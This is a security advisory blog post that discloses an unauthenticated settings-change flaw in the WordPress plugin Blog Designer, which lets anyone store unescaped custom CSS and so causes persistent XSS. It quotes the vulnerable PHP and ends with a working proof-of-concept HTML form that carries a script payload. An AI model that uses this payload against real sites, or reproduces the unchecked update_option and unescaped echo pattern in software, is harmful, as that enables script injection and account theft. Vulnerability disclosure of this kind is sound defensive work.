WordPress Paints a Target on Exploitable Settings Change Vulnerability That Permits Persistent XSS in Blog Designer
Almost a month ago we noted why it is so problematic to close popular WordPress plugins that contain undisclosed but serious security vulnerabilities in discussing a settings change vulnerability that permits persistent cross-site scripting (XSS) in the plugin Related Posts and unfortunately here we are seeing the same exact situation again with the plugin Blog Designer. Maybe we shouldn’t be surprised of that considering that the situation with Related Posts wasn’t properly resolved.
Late last year after seeing evidence that hackers were monitoring for the closure of popular plugins and then looking to see if they have security vulnerabilities, we started doing the same so that we could better keep our customers warned of vulnerabilities ahead of hackers finding and exploiting them. It would be much better if the WordPress team would work with others to improve their handling of insecure plugins to avoid situations like that in the first place, but so far they haven’t shown an interest in that, so here we are again.
Through that we were notified that Blog Designer, which has 30,000+ installs, was closed on the Plugin Directory yesterday. When we started our standard quick security checks we do of those closed popular plugins we immediately found that it contains a settings change vulnerability that permits persistent cross-site scripting (XSS). We really mean immediately, as the first thing we checked led directly to it.
In the file /blog-designer.php the function wp_blog_designer_save_settings() will update the plugin’s settings:
714 715 716 717 718 719 720 721 722 723 724 725 726 727 728 729 730 731 732 733 734 735 736 737 738 739 740 741 742 743 744 745 746 747 748 749 750 751 752 753 754 755 756 757 758 759 760 761 762 763 764 765 766 767 768 769 770 771 772 773 774 775 776 777 778 779 780 781 782 783 784 785 786 787 788 789 | function wp_blog_designer_save_settings() { if (isset($_REQUEST['action']) && $_REQUEST['action'] === 'save' && isset($_REQUEST['updated']) && $_REQUEST['updated'] === 'true') { if (isset($_POST['blog_page_display'])) { update_option("blog_page_display", $_POST['blog_page_display']); } if (isset($_POST['posts_per_page'])) { update_option("posts_per_page", $_POST['posts_per_page']); } if (isset($_POST['rss_use_excerpt'])) { update_option("rss_use_excerpt", $_POST['rss_use_excerpt']); } if (isset($_POST['display_date'])) { update_option("display_date", $_POST['display_date']); } if (isset($_POST['display_author'])) { update_option("display_author", $_POST['display_author']); } if (isset($_POST['display_sticky'])) { update_option("display_sticky", $_POST['display_sticky']); } if (isset($_POST['display_category'])) { update_option("display_category", $_POST['display_category']); } if (isset($_POST['display_tag'])) { update_option("display_tag", $_POST['display_tag']); } if (isset($_POST['txtExcerptlength'])) { update_option("excerpt_length", $_POST['txtExcerptlength']); } if (isset($_POST['display_html_tags'])) { update_option("display_html_tags", $_POST['display_html_tags']); } else { update_option("display_html_tags", 0); } if (isset($_POST['readmore_on'])) { update_option("read_more_on", $_POST['readmore_on']); } if (isset($_POST['txtReadmoretext'])) { update_option("read_more_text", $_POST['txtReadmoretext']); } if (isset($_POST['template_alternativebackground'])) { update_option("template_alternativebackground", $_POST['template_alternativebackground']); } if (isset($_POST['social_icon_style'])) { update_option("social_icon_style", $_POST['social_icon_style']); } if (isset($_POST['social_share'])) { update_option("social_share", $_POST['social_share']); } if (isset($_POST['facebook_link'])) { update_option("facebook_link", $_POST['facebook_link']); } if (isset($_POST['twitter_link'])) { update_option("twitter_link", $_POST['twitter_link']); } if (isset($_POST['google_link'])) { update_option("google_link", $_POST['google_link']); } if (isset($_POST['pinterest_link'])) { update_option("pinterest_link", $_POST['pinterest_link']); } if (isset($_POST['linkedin_link'])) { update_option("linkedin_link", $_POST['linkedin_link']); } if (isset($_POST['display_comment_count'])) { update_option("display_comment_count", $_POST['display_comment_count']); } if (isset($_POST['template_titlefontsize'])) { update_option("template_titlefontsize", $_POST['template_titlefontsize']); } if (isset($_POST['content_fontsize'])) { update_option("content_fontsize", $_POST['content_fontsize']); } if (isset($_POST['custom_css'])) { update_option("custom_css", stripslashes($_POST['custom_css'])); } |
There are no security checks done there and there isn’t any sanitization or validation done of the new values for the settings.
We ran across that because the first thing we looked for in the plugin was insecure code using the update_option() function, since that has recently been involved in multiple widely exploited vulnerabilities in WordPress plugins.
The lack of security checks is a big problem because that function runs during admin_init, which means that it will run even when someone is not logged in to WordPress:
30 | add_action('admin_init', 'wp_blog_designer_save_settings', 10); |
So anyone change the plugin’s settings.
A setting that can be set in that function immediately stood out, since it is for setting custom CSS, which based on our past experience looking at many vulnerabilities over the years, likely would be output without being escaped, leading to persistent XSS.
That in fact occurs, as the value is brought in the file /designer_css.php here:
17 | $custom_css = get_option('custom_css'); |
And then output without being escaped:
317 | <?php echo $custom_css; ?> |
That file gets included when the function wp_blog_designer_stylesheet() runs on non-admin pages:
1007 1008 1009 1010 1011 1012 | function wp_blog_designer_stylesheet() { if (!is_admin()) { $stylesheet = dirname(__FILE__) . '/designer_css.php'; if (file_exists($stylesheet)) { include('designer_css.php'); |
33 | add_action('wp_head', 'wp_blog_designer_stylesheet', 20); |
With the obviousness of this very exploitable vulnerability the team running the Plugin Directory should have already fixed this if the developer wasn’t immediately going to do it, instead of closing it. We have repeatedly offered to provide fixes for unfixed vulnerabilities likely to be exploited so that team wouldn’t even have to almost any work to avoid this type of situation.
While we are sure it isn’t going to matter, we will point out again how easy it was to find this and so the proof of concept below is not giving anything away that hackers couldn’t figure out on their own, much less with the details of the underlying code (which other security companies provide in posts while disingenuously claiming that proof of concepts somehow alone would let hackers know about vulnerabilities).
The vulnerability has existed for nearly four years, without apparently being noticed, which is yet another reminder that WordPress plugins are not getting the level of security scrutiny they need.
Due to the moderators of the WordPress Support Forum’s continued inappropriate behavior we are full disclosing vulnerabilities in protest until WordPress gets that situation cleaned up, so we are releasing this post and then leaving a message about that for the developer through the WordPress Support Forum. You can notify the developer of this issue on the forum as well. Hopefully the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon). You would think they would have already done that, but considering that they believe that having plugins, which have millions installs, remain in the Plugin Directory despite them knowing they are vulnerable is “appropriate action”, something is very amiss with them (which is even more reason the moderation needs to be cleaned up).
Update: To clear up the confusion where developers claim we hadn’t tried to notify them through the Support Forum (while at the same time moderators are complaining about us doing just that), here is the message we left for this vulnerability:
Proof of Concept
The following proof of concept will cause an alert box with the message “XSS” to be shown on frontend pages of the website.
Make sure to replace “[path to WordPress]” with the location of WordPress.
<html> <body> <form action="http://[path to WordPress]/wp-admin/admin-post.php?action=save&updated=true" method="POST"> <input type="hidden" name="custom_css" value='</style><script>alert("XSS");</script>' /> <input type="submit" value="Submit" /> </form> </body> </html>
Is It Fixed?
If you are reading this post down the road the best way to find out if this vulnerability or other WordPress plugin vulnerabilities in plugins you use have been fixed is to sign up for our service, since what we uniquely do when it comes to that type of data is to test to see if vulnerabilities have really been fixed. Relying on the developer’s information, can lead you astray, as we often find that they believe they have fixed vulnerabilities, but have failed to do that.